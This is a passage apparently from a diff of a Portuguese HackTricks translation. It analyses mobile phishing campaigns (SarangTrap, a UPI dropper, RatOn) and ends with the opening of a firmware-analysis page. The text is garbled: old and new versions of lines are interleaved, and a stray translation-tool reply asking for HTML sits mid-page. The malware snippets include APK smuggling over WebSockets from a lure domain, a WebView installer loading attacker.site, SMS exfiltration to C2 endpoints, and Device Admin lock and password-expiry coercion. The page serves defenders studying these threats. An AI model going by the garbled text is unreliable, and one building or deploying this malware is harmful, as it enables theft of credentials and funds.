# Phishing Móvel & Distribuição de Apps Maliciosos (Android & iOS)
# Mobile Phishing & Malicious App Distribution (Android & iOS)
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
> Esta página cobre técnicas usadas por atores de ameaça para distribuir **APKs Android maliciosos** e **iOS mobile-configuration profiles** através de phishing (SEO, engenharia social, lojas falsas, apps de namoro, etc.).
> O material é adaptado da campanha SarangTrap exposta pela Zimperium zLabs (2025) e outras pesquisas públicas.
> Esta página cobre técnicas usadas por atores de ameaça para distribuir **malicious Android APKs** e **iOS mobile-configuration profiles** através de phishing (SEO, social engineering, fake stores, dating apps, etc.).
> O material é adaptado da campanha SarangTrap exposta pelo Zimperium zLabs (2025) e por outras pesquisas públicas.
## Fluxo de Ataque
1. **Infraestrutura de SEO/Phishing**
* Registrar dezenas de domínios parecidos (sites de namoro, compartilhamento em nuvem, serviço de carro…).
Usar palavras-chave no idioma local e emojis no elemento `<title>` para ranquear no Google.
Hospedar *ambas* as instruções de instalação para Android (`.apk`) e iOS na mesma landing page.
2. **Download da Primeira Fase**
* Android: link direto para um APK *não assinado* ou de “loja de terceiros”.
* iOS: `itms-services://` ou link HTTPS simples para um perfil **mobileconfig** malicioso (ver abaixo).
3. **Engenharia social pós-instalação**
* Na primeira execução o app pede um **código de convite / verificação** (ilusão de acesso exclusivo).
* O código é **POSTado via HTTP** para o Command-and-Control (C2).
1. **SEO/Phishing Infrastructure**
* Registrar dezenas de domínios semelhantes (sites de encontros, compartilhamento na nuvem, serviços de automóvel…).
Use palavras-chave no idioma local e emojis no elemento `<title>` para ranquear no Google.
Hospede *both* instruções de instalação para Android (`.apk`) e iOS na mesma landing page.
2. **First Stage Download**
* Android: link direto para um APK *unsigned* ou de “third-party store”.
* iOS: `itms-services://` ou link HTTPS simples para um perfil malicioso **mobileconfig** (ver abaixo).
3. **Post-install Social Engineering**
* Na primeira execução o app solicita um **invitation / verification code** (ilusão de acesso exclusivo).
* O código é **POSTed over HTTP** para o Command-and-Control (C2).
* C2 responde `{"success":true}` ➜ o malware continua.
* Análises dinâmicas em sandbox/AV que nunca submetem um código válido não veem **comportamento malicioso** (evasão).
4. **Abuso de Permissões em Tempo de Execução (Android)**
* Análises dinâmicas de Sandbox / AV que nunca enviam um código válido não observam **comportamento malicioso** (evasão).
4. **Runtime Permission Abuse** (Android)
* Permissões perigosas são solicitadas apenas **após resposta positiva do C2**:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
@ -28,40 +28,40 @@
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->
```
* Variantes recentes **removem `<uses-permission>` para SMS do `AndroidManifest.xml`** mas deixam o caminho de código Java/Kotlin que lê SMS através de reflection ⇒ reduz a pontuação estática enquanto ainda funciona em dispositivos que concedem a permissão via `AppOps` abuse ou alvos antigos.
5. **Interface de fachada & coleta em segundo plano**
* O app mostra telas inofensivas (visualizador de SMS, seletor de galeria) implementadas localmente.
* Enquanto isso exfiltra:
* Versões recentes **removem `<uses-permission>` para SMS de `AndroidManifest.xml`** mas deixam o caminho de código Java/Kotlin que lê SMS por reflexão ⇒ reduz a pontuação estática enquanto continua funcional em dispositivos que concedem a permissão via `AppOps` abuse ou alvos antigos.
5. **Facade UI & Background Collection**
* O app mostra views inofensivas (SMS viewer, gallery picker) implementadas localmente.
* Enquanto isso, exfiltra:
- IMEI / IMSI, número de telefone
- Dump completo de `ContactsContract` (array JSON)
- dump completo do `ContactsContract` (JSON array)
- JPEG/PNG de `/sdcard/DCIM` comprimidos com [Luban](https://github.com/Curzibn/Luban) para reduzir o tamanho
- Conteúdo SMS opcional (`content://sms`)
Payloads são **zipados em lote** e enviados via `HTTP POST /upload.php`.
6. **Técnica de entrega iOS**
* Um único **mobile-configuration profile** pode requisitar `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. para inscrever o dispositivo em uma supervisão similar a “MDM”.
* Instruções de engenharia social:
- Conteúdo opcional de SMS (`content://sms`)
Payloads são **batch-zipped** e enviados via `HTTP POST /upload.php`.
6. **iOS Delivery Technique**
* Um único **mobile-configuration profile** pode requerer `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. para inscrever o dispositivo em supervisão similar a “MDM”.
* Social-engineering instructions:
1. Abra Settings ➜ *Profile downloaded*.
2. Toque em *Install* três vezes (screenshots na página de phishing).
3. Confie no perfil não assinado ➜ atacante ganha entitlement de *Contacts* & *Photo* sem revisão da App Store.
7. **Camada de Rede**
2. Toque em *Install* três vezes (capturas de tela na página de phishing).
3. Confie no perfil unsigned ➜ o atacante ganha *Contacts* & *Photo* entitlement sem revisão da App Store.
7. **Network Layer**
* HTTP simples, frequentemente na porta 80 com HOST header como `api.<phishingdomain>.com`.
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (sem TLS → fácil de identificar).
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (sem TLS → fácil de detectar).
## Testes Defensivos / Dicas para Red-Team
## Defensive Testing / Red-Team Tips
* **Bypass de Análise Dinâmica** Durante avaliação de malware, automatize a fase do código de convite com Frida/Objection para alcançar a ramificação maliciosa.
* **Manifest vs. Runtime Diff** Compare `aapt dump permissions` com runtime `PackageManager#getRequestedPermissions()`; permissões perigosas ausentes são um sinal de alerta.
* **Canário de Rede** Configure `iptables -p tcp --dport 80 -j NFQUEUE` para detectar rajadas suspeitas de POST após a entrada do código.
* **Inspeção de mobileconfig** Use `security cms -D -i profile.mobileconfig` no macOS para listar `PayloadContent` e identificar entitlements excessivos.
* **Dynamic Analysis Bypass** Durante a avaliação de malware, automatize a fase do código de convite com Frida/Objection para alcançar o ramo malicioso.
* **Manifest vs. Runtime Diff** Compare `aapt dump permissions` com o runtime `PackageManager#getRequestedPermissions()`; a ausência de permissões perigosas é um sinal de alerta.
* **Network Canary** Configure `iptables -p tcp --dport 80 -j NFQUEUE` para detectar padrões irregulares de POST após a inserção do código.
* **mobileconfig Inspection** Use `security cms -D -i profile.mobileconfig` no macOS para listar `PayloadContent` e identificar entitlements excessivos.
## Ideias de Detecção para Blue Team
## Blue-Team Detection Ideas
* **Certificate Transparency / DNS Analytics** para detectar surtos súbitos de domínios ricos em keywords.
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` de clientes Dalvik fora do Google Play.
* **Telemetria de código de convite** POSTs de códigos numéricos de 68 dígitos logo após a instalação do APK podem indicar estágio.
* **Assinatura de MobileConfig** Bloquear perfis de configuração não assinados via política MDM.
* **Certificate Transparency / DNS Analytics** para detectar surgimento repentino de domínios ricos em palavras-chave.
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` from Dalvik clients outside Google Play.
* **Invite-code Telemetry** POST de códigos numéricos de 68 dígitos logo após a instalação do APK pode indicar staging.
* **MobileConfig Signing** Bloquear perfis de configuração unsigned via política MDM.
## Exemplo útil de Frida: Auto-Bypass do código de convite
## Useful Frida Snippet: Auto-Bypass Invitation Code
```python
# frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success
@ -88,30 +88,28 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
```
---
## Android WebView Payment Phishing (UPI) Padrão Dropper + FCM C2
## Android WebView Payment Phishing (UPI) Dropper + FCM C2 Pattern
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
Esse padrão foi observado em campanhas que abusam de temas de benefícios governamentais para roubar credenciais UPI indianas e OTPs. Operadores encadeiam plataformas reputadas para entrega e resiliência.
### Cadeia de entrega através de plataformas confiáveis
- Isca por vídeo no YouTube → a descrição contém um link curto
- Link curto → site de phishing no GitHub Pages imitando o portal legítimo
- O mesmo repositório GitHub hospeda um APK com um selo falso “Google Play” que aponta diretamente para o arquivo
- Páginas de phishing dinâmicas hospedadas no Replit; o canal de comando remoto usa Firebase Cloud Messaging (FCM)
### Delivery chain across trusted platforms
- YouTube video lure → a descrição contém um link curto
- Shortlink → site de phishing no GitHub Pages imitando o portal legítimo
- O mesmo repositório GitHub hospeda um APK com um selo falso “Google Play” linkando diretamente para o arquivo
- Páginas de phishing dinâmicas hospedadas no Replit; o canal remoto de comandos usa Firebase Cloud Messaging (FCM)
### Dropper com embedded payload e instalação offline
- O primeiro APK é um instalador (dropper) que inclui o malware real em `assets/app.apk` e solicita que o usuário desative WiFi/dados móveis para reduzir a detecção em nuvem.
- O embedded payload instala-se sob um rótulo inofensivo (por exemplo, “Secure Update”). Após a instalação, tanto o instalador quanto o payload estão presentes como apps separados.
### Dropper with embedded payload and offline install
- O primeiro APK é um instalador (dropper) que inclui o malware real em `assets/app.apk` e solicita ao usuário que desative WiFi/dados móveis para reduzir a detecção na nuvem.
- O payload embutido instala-se sob um rótulo inocente (por exemplo, “Secure Update”). Após a instalação, tanto o instalador quanto o payload aparecem como apps separados.
Static triage tip (grep for embedded payloads):
Dica de triagem estática (grep por payloads embutidos):
```bash
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
### Descoberta dinâmica de endpoints via shortlink
- Malware obtém uma lista em texto simples, separada por vírgulas, de endpoints ativos a partir de um shortlink; transformações simples de string produzem o caminho final da página de phishing.
Exemplo (sanitizado):
### Dynamic endpoint discovery via shortlink
- Malware busca uma lista em texto simples, separada por vírgulas, de endpoints ativos a partir de um shortlink; transformações simples de string produzem o caminho final da página de phishing.
```
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
@ -119,7 +117,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload: https://sqcepo.replit.app/addsm.php
```
Pseudocódigo:
Pseudo-código:
```java
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
@ -127,8 +125,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
### Coleta de credenciais UPI baseada em WebView
- A etapa “Make payment of ₹1 / UPILite” carrega um formulário HTML do atacante a partir do endpoint dinâmico dentro de um WebView e captura campos sensíveis (telefone, banco, UPI PIN) que são `POST`ados para `addup.php`.
### WebView-based UPI credential harvesting
- A etapa “Make payment of ₹1 / UPILite” carrega um formulário HTML do atacante do endpoint dinâmico dentro de um WebView e captura campos sensíveis (telefone, banco, UPI PIN) que são `POST`ados para `addup.php`.
Loader mínimo:
```java
@ -136,7 +134,7 @@ WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
```
### Self-propagation and SMS/OTP interception
### Auto-propagação e interceptação de SMS/OTP
- Permissões agressivas são solicitadas na primeira execução:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
@ -144,7 +142,7 @@ wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
```
- Contatos são percorridos para enviar smishing SMS em massa a partir do dispositivo da vítima.
- Os contatos são percorridos para envio em massa de smishing SMS a partir do dispositivo da vítima.
- SMS recebidos são interceptados por um broadcast receiver e enviados com metadados (remetente, corpo, slot do SIM, ID aleatório por dispositivo) para `/addsm.php`.
Esboço do receiver:
@ -162,7 +160,7 @@ postForm(urlAddSms, new FormBody.Builder()
}
```
### Firebase Cloud Messaging (FCM) como C2 resiliente
- O payload registra-se no FCM; mensagens push carregam um campo `_type` usado como um switch para acionar ações (por exemplo, atualizar modelos de texto de phishing, alternar comportamentos).
- O payload registra-se no FCM; as push messages contêm um campo `_type` usado como um switch para acionar ações (e.g., atualizar modelos de texto de phishing, alternar comportamentos).
Exemplo de payload FCM:
```json
@ -174,7 +172,7 @@ Exemplo de payload FCM:
}
}
```
Esboço do Handler:
Esboço do handler:
```java
@Override
public void onMessageReceived(RemoteMessage msg){
@ -190,25 +188,65 @@ case "smish": sendSmishToContacts(); break;
- APK contém payload secundário em `assets/app.apk`
- WebView carrega pagamento de `gate.htm` e exfiltra para `/addup.php`
- Exfiltração de SMS para `/addsm.php`
- Busca de config via shortlink (e.g., `rebrand.ly/*`) retornando endpoints CSV
- Busca de config acionada por shortlink (e.g., `rebrand.ly/*`) retornando endpoints CSV
- Apps rotulados como genéricos “Update/Secure Update”
- Mensagens FCM `data` com um discriminador `_type` em apps não confiáveis
### Ideias de detecção e defesa
- Marcar apps que instruem usuários a desativar a rede durante a instalação e então fazer sideload de um segundo APK de `assets/`.
- Gerar alerta sobre a tupla de permissões: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + fluxos de pagamento baseados em WebView.
- Monitoramento de egress para `POST /addup.php|/addsm.php` em hosts não corporativos; bloquear infraestrutura conhecida.
- Sinalizar apps que instruem usuários a desativar a rede durante a instalação e então fazem sideload de um segundo APK de `assets/`.
- Alertar sobre a tupla de permissões: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + fluxos de pagamento baseados em WebView.
- Monitoramento de egress para `POST /addup.php|/addsm.php` em hosts não-corporativos; bloquear infraestrutura conhecida.
- Regras Mobile EDR: app não confiável registrando-se no FCM e ramificando com base no campo `_type`.
---
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration estudo de caso RatOn
## Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages
A campanha RatOn banker/RAT (ThreatFabric) é um exemplo concreto de como operações modernas de mobile phishing combinam WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, e até NFC-relay orchestration. Esta seção abstrai as técnicas reutilizáveis.
Ataquantes cada vez mais substituem links estáticos de APK por um canal Socket.IO/WebSocket embutido em iscas com aparência do Google Play. Isso oculta a URL do payload, contorna filtros de URL/extensão e preserva uma experiência de instalação realista (install UX).
### Stage-1: WebView → ponte nativa de instalação (dropper)
Fluxo típico do cliente observado no mundo real:
```javascript
// Open Socket.IO channel and request payload
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
socket.emit("startDownload", { app: "com.example.app" });
Os atacantes exibem um WebView apontando para uma página atacante e injetam uma JavaScript interface que expõe um native installer. Um toque em um botão HTML chama código nativo que instala um APK de segunda etapa empacotado nos assets do dropper e então o executa diretamente.
// Accumulate binary chunks and drive fake Play progress UI
const chunks = [];
socket.on("chunk", (chunk) => chunks.push(chunk));
socket.on("downloadProgress", (p) => updateProgressBar(p));
// Assemble APK clientside and trigger browser save dialog
socket.on("downloadComplete", () => {
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url; a.download = "app.apk"; a.style.display = "none";
document.body.appendChild(a); a.click();
});
```
Por que isso evita controles simples:
- No static APK URL is exposed; o payload é reconstruído na memória a partir de frames de WebSocket.
- URL/MIME/extension filters que bloqueiam respostas .apk diretas podem falhar ao identificar dados binários tunelados via WebSockets/Socket.IO.
- Crawlers e URL sandboxes que não executam WebSockets não recuperarão o payload.
Ideias para hunting e detecção:
- Web/network telemetry: sinalize sessões WebSocket que transferem grandes blocos binários seguidos da criação de um Blob com MIME application/vnd.android.package-archive e um clique programático em `<a download>`. Procure por client strings como socket.emit('startDownload'), e por eventos chamados chunk, downloadProgress, downloadComplete em scripts de página.
- Play-store spoof heuristics: em domínios não-Google que servem páginas semelhantes ao Play, procure por Google Play UI strings como http.html:"VfPpkd-jY41G-V67aGc", templates mistos por idioma, e fluxos falsos de “verification/progress” dirigidos por eventos WS.
- Controles: bloqueie entrega de APKs de origens não-Google; imponha políticas de MIME/extensão que incluam tráfego WebSocket; preserve os prompts de download seguro do navegador.
Veja também WebSocket tradecraft and tooling:
{{#ref}}
../../pentesting-web/websocket-attacks.md
{{#endref}}
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration Estudo de caso RatOn
A campanha RatOn banker/RAT (ThreatFabric) é um exemplo concreto de como operações modernas de phishing móvel misturam WebView droppers, automação de UI guiada por Accessibility, overlays/ransom, coerção via Device Admin, Automated Transfer System (ATS), takeover de crypto wallets, e até orquestração de relay NFC. Esta seção abstrai as técnicas reutilizáveis.
### Stage-1: WebView → native install bridge (dropper)
Os atacantes apresentam um WebView apontando para uma página maliciosa e injetam uma interface JavaScript que expõe um instalador nativo. Um toque em um botão HTML chama código nativo que instala um APK de segunda etapa empacotado nos assets do dropper e depois o inicia diretamente.
Padrão mínimo:
```java
@ -239,23 +277,23 @@ wv.loadUrl("https://attacker.site/install.html");
}
}
```
Por favor, cole o HTML da página que você quer que eu traduza.
Você não incluiu o HTML. Por favor, cole o conteúdo HTML ou o texto do arquivo src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md que deseja traduzir para português. Vou preservar exatamente as tags Markdown/HTML, links e paths conforme solicitado.
```html
<button onclick="bridge.installApk()">Install</button>
```
Após a instalação, o dropper inicia o payload via package/activity explícito:
Após a instalação, o dropper inicia o payload via package/activity explícita:
```java
Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);
```
Hunting idea: apps não confiáveis chamando `addJavascriptInterface()` e expondo métodos semelhantes a instaladores para WebView; APK distribuindo um payload secundário embutido em `assets/` e invocando o Package Installer Session API.
Ideia de hunting: untrusted apps calling `addJavascriptInterface()` and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under `assets/` and invoking the Package Installer Session API.
### Funil de consentimento: Accessibility + Device Admin + prompts de runtime subsequentes
### Funil de consentimento: Accessibility + Device Admin + follow-on runtime prompts
Stage-2 abre um WebView que hospeda uma página “Access”. O botão desta invoca um método exportado que navega a vítima para as configurações de Accessibility e solicita a ativação do serviço malicioso. Uma vez concedido, o malware usa Accessibility para clicar automaticamente através dos diálogos de permissão de runtime subsequentes (contacts, overlay, manage system settings, etc.) e solicita Device Admin.
- Accessibility ajuda programaticamente a aceitar prompts posteriores encontrando botões como “Allow”/“OK” na árvore de nós e disparando cliques.
- Verificação/solicitação de permissão de overlay:
- Overlay permission check/request:
```java
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
@ -269,19 +307,19 @@ Veja também:
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
{{#endref}}
### Phishing por sobreposição / resgate via WebView
### Overlay phishing/ransom via WebView
Operadores podem emitir comandos para:
- exibir uma sobreposição em tela cheia a partir de uma URL, ou
- passar HTML inline que é carregado em uma sobreposição WebView.
- renderizar um overlay em tela cheia a partir de uma URL, ou
- passar HTML inline que é carregado em um overlay WebView.
Usos prováveis: coerção (inserção do PIN), abertura de wallet para capturar PINs, envio de mensagens de resgate. Mantenha um comando para garantir que a permissão de sobreposição esteja concedida se estiver ausente.
Prováveis usos: coercion (entrada de PIN), abertura de wallet para capturar PINs, mensagens de ransom. Mantenha um comando para garantir que a permissão de overlay seja concedida se estiver ausente.
### Modelo de controle remoto pseudo-tela de texto + screen-cast
- Baixa largura de banda: despejar periodicamente a árvore de nodes do Accessibility, serializar textos visíveis/roles/bounds e enviar para o C2 como uma pseudo-tela (comandos como `txt_screen` uma vez e `screen_live` contínuo).
### Remote control model text pseudo-screen + screen-cast
- Baixa largura de banda: despejar periodicamente a árvore de nós do Accessibility, serializar textos visíveis/roles/bounds e enviar para o C2 como uma pseudo-tela (comandos como `txt_screen` para uma vez e `screen_live` para contínuo).
- Alta fidelidade: solicitar MediaProjection e iniciar screen-casting/gravação sob demanda (comandos como `display` / `record`).
### ATS playbook (automação de apps bancários)
Dada uma tarefa JSON, abrir o app do banco, controlar a UI via Accessibility com uma mistura de consultas por texto e toques por coordenadas, e inserir o PIN de pagamento da vítima quando solicitado.
### ATS playbook (bank app automation)
Dada uma tarefa JSON, abrir o app bancário, controlar a UI via Accessibility com uma mistura de consultas por texto e toques por coordenadas, e inserir o PIN de pagamento da vítima quando solicitado.
Exemplo de tarefa:
```json
@ -296,7 +334,7 @@ Exemplo de tarefa:
Exemplos de textos vistos em um fluxo alvo (CZ → EN):
- "Nová platba" → "Novo pagamento"
- "Zadat platbu" → "Inserir pagamento"
- "Nový příjemce" → "Novo destinatário"
- "Nový příjemce" → "Novo beneficiário"
- "Domácí číslo účtu" → "Número de conta doméstica"
- "Další" → "Próximo"
- "Odeslat" → "Enviar"
@ -304,10 +342,10 @@ Exemplos de textos vistos em um fluxo alvo (CZ → EN):
- "Zaplatit" → "Pagar"
- "Hotovo" → "Concluído"
Operadores também podem verificar/aumentar os limites de transferência por meio de comandos como `check_limit` e `limit` que navegam na UI de limites de forma semelhante.
Os operadores também podem verificar/aumentar os limites de transferência via comandos como `check_limit` e `limit` que navegam na UI de limites de forma semelhante.
### Crypto wallet seed extraction
Alvos como MetaMask, Trust Wallet, Blockchain.com, Phantom. Fluxo: desbloquear (PIN roubado ou senha fornecida), navegar até Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implementar locale-aware selectors (EN/RU/CZ/SK) para estabilizar a navegação entre idiomas.
Alvos como MetaMask, Trust Wallet, Blockchain.com, Phantom. Fluxo: desbloquear (PIN roubado ou senha fornecida), navegar até Security/Recovery, revelar/mostrar seed phrase, keylog/exfiltrate it. Implemente seletores sensíveis ao locale (EN/RU/CZ/SK) para estabilizar a navegação entre idiomas.
### Device Admin coercion
Device Admin APIs são usadas para aumentar as oportunidades de PIN-capture e frustrar a vítima:
@ -316,7 +354,7 @@ Device Admin APIs são usadas para aumentar as oportunidades de PIN-capture e fr
```java
dpm.lockNow();
```
- Expirar a credencial atual para forçar a alteração (Accessibility captura novo PIN/senha):
- Expirar a credencial atual para forçar a alteração (Accessibility captura o novo PIN/senha):
```java
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
```
@ -326,30 +364,30 @@ dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
```
Nota: Muitos controles do DevicePolicyManager exigem Device Owner/Profile Owner em versões recentes do Android; algumas builds de OEM podem ser permissivas. Sempre valide no SO/OEM alvo.
Nota: Muitos controles do DevicePolicyManager requerem Device Owner/Profile Owner em versões recentes do Android; algumas builds OEM podem ser mais permissivas. Sempre valide no OS/OEM alvo.
### Orquestração de relay NFC (NFSkate)
Stage-3 pode instalar e iniciar um módulo externo de NFC-relay (por exemplo, NFSkate) e até fornecer um template HTML para guiar a vítima durante o relay. Isso permite cash-out contactless card-present juntamente com ATS online.
### Orquestração de NFC relay (NFSkate)
Stage-3 pode instalar e lançar um módulo externo de NFC-relay (p.ex., NFSkate) e até fornecer um template HTML para guiar a vítima durante o relay. Isso permite cash-out sem contato com cartão presente juntamente com ATS online.
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
### Conjunto de comandos do operador (exemplo)
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
- UI/estado: `txt_screen`, `screen_live`, `display`, `record`
- Social: `send_push`, `Facebook`, `WhatsApp`
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
- Sobreposições: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
- Carteiras: `metamask`, `trust`, `blockchain`, `phantom`
- ATS: `transfer`, `check_limit`, `limit`
- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
- Dispositivo: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
- NFC: `nfs`, `nfs_inject`
### Ideias de detecção e defesa (estilo RatOn)
- Procurar por WebViews com `addJavascriptInterface()` expondo métodos de instalador/permissão; páginas terminando em “/access” que acionam prompts de Accessibility.
- Alertar sobre apps que geram gestos/cliques de Accessibility em alta taxa logo após receberem acesso ao serviço; telemetria que se assemelha a dumps de nodes de Accessibility enviados ao C2.
- Monitorar mudanças de policy do Device Admin em apps não confiáveis: `lockNow`, expiração de senha, alternâncias de recursos do keyguard.
- Alertar sobre prompts de MediaProjection de apps não corporativos seguidos por uploads periódicos de frames.
- Detectar instalação/lançamento de um app NFC-relay externo acionado por outro app.
- Para serviços bancários: impor confirmações out-of-band, vinculação biométrica e limites de transação resistentes à automação no dispositivo.
- Caçar WebViews com `addJavascriptInterface()` que exponham métodos de installer/permission; páginas que terminam em “/access” que disparam prompts de Accessibility.
- Alertar sobre apps que geram gestos/cliques de Accessibility em alta taxa logo após receberem acesso ao serviço; telemetria que se assemelha a dumps de nodes de Accessibility enviados para C2.
- Monitorar mudanças na Device Admin policy em apps não confiáveis: `lockNow`, expiração de senha, alternâncias de funcionalidades do keyguard.
- Alertar sobre prompts de MediaProjection de apps não-corporativos seguidos de uploads periódicos de frames.
- Detectar instalação/lançamento de um app NFC-relay externo disparado por outro app.
- Para bancos: impor confirmações out-of-band, biometrics-binding, e limites de transação resistentes a automação on-device.
## Referências
@ -359,5 +397,8 @@ Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
- [GhostTap/NFSkate NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
- [DomainTools SecuritySnacks ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
- [Socket.IO](https://socket.io)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,46 +6,52 @@
### Recursos relacionados
{{#ref}}
synology-encrypted-archive-decryption.md
{{#endref}}
Firmware é um software essencial que permite que dispositivos operem corretamente, gerenciando e facilitando a comunicação entre os componentes de hardware e o software com o qual os usuários interagem. Ele é armazenado em memória permanente, garantindo que o dispositivo possa acessar instruções vitais desde o momento em que é ligado, levando ao lançamento do sistema operacional. Examinar e potencialmente modificar o firmware é um passo crítico na identificação de vulnerabilidades de segurança.
{{#ref}}
../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
## **Coleta de Informações**
**Coletar informações** é um passo inicial crítico para entender a composição de um dispositivo e as tecnologias que ele utiliza. Este processo envolve a coleta de dados sobre:
Firmware é um software essencial que permite que dispositivos funcionem corretamente, gerenciando e facilitando a comunicação entre os componentes de hardware e o software com o qual os usuários interagem. Ele é armazenado em memória permanente, assegurando que o dispositivo possa acessar instruções vitais desde o momento em que é ligado, levando ao carregamento do sistema operacional. Examinar e potencialmente modificar o firmware é um passo crítico na identificação de vulnerabilidades de segurança.
## **Coleta de informações**
**Coletar informação** é um passo inicial crítico para entender a composição de um dispositivo e as tecnologias que ele utiliza. Esse processo envolve a coleta de dados sobre:
- A arquitetura da CPU e o sistema operacional que ele executa
- Especificações do bootloader
- Layout de hardware e folhas de dados
- Métricas de código e locais de origem
- Especificidades do bootloader
- Disposição do hardware e datasheets
- Métricas do codebase e locais das fontes
- Bibliotecas externas e tipos de licença
- Históricos de atualização e certificações regulatórias
- Diagramas arquitetônicos e de fluxo
- Diagramas arquiteturais e de fluxo
- Avaliações de segurança e vulnerabilidades identificadas
Para esse propósito, ferramentas de **inteligência de código aberto (OSINT)** são inestimáveis, assim como a análise de quaisquer componentes de software de código aberto disponíveis por meio de processos de revisão manuais e automatizados. Ferramentas como [Coverity Scan](https://scan.coverity.com) e [LGTM da Semmle](https://lgtm.com/#explore) oferecem análise estática gratuita que pode ser aproveitada para encontrar problemas potenciais.
Para esse propósito, ferramentas de open-source intelligence (OSINT) são inestimáveis, assim como a análise de quaisquer componentes de software open-source disponíveis por meio de processos manuais e automatizados. Ferramentas como [Coverity Scan](https://scan.coverity.com) e [Semmles LGTM](https://lgtm.com/#explore) oferecem análise estática gratuita que pode ser aproveitada para encontrar potenciais problemas.
## **Adquirindo o Firmware**
Obter firmware pode ser abordado de várias maneiras, cada uma com seu próprio nível de complexidade:
Obter o firmware pode ser abordado por várias vias, cada uma com seu nível de complexidade:
- **Diretamente** da fonte (desenvolvedores, fabricantes)
- **Construindo** a partir de instruções fornecidas
- **Diretamente** da fonte (developers, manufacturers)
- **Construindo** a partir das instruções fornecidas
- **Baixando** de sites de suporte oficiais
- Utilizando consultas de **Google dork** para encontrar arquivos de firmware hospedados
- Utilizando queries **Google dork** para encontrar arquivos de firmware hospedados
- Acessando **armazenamento em nuvem** diretamente, com ferramentas como [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Interceptando **atualizações** via técnicas de man-in-the-middle
- **Extraindo** do dispositivo através de conexões como **UART**, **JTAG** ou **PICit**
- **Sniffing** para solicitações de atualização dentro da comunicação do dispositivo
- Identificando e usando **endpoints de atualização hardcoded**
- Interceptando **atualizações** via man-in-the-middle techniques
- **Extraindo** do dispositivo através de conexões como **UART**, **JTAG**, ou **PICit**
- **Sniffing** por requisições de update dentro da comunicação do dispositivo
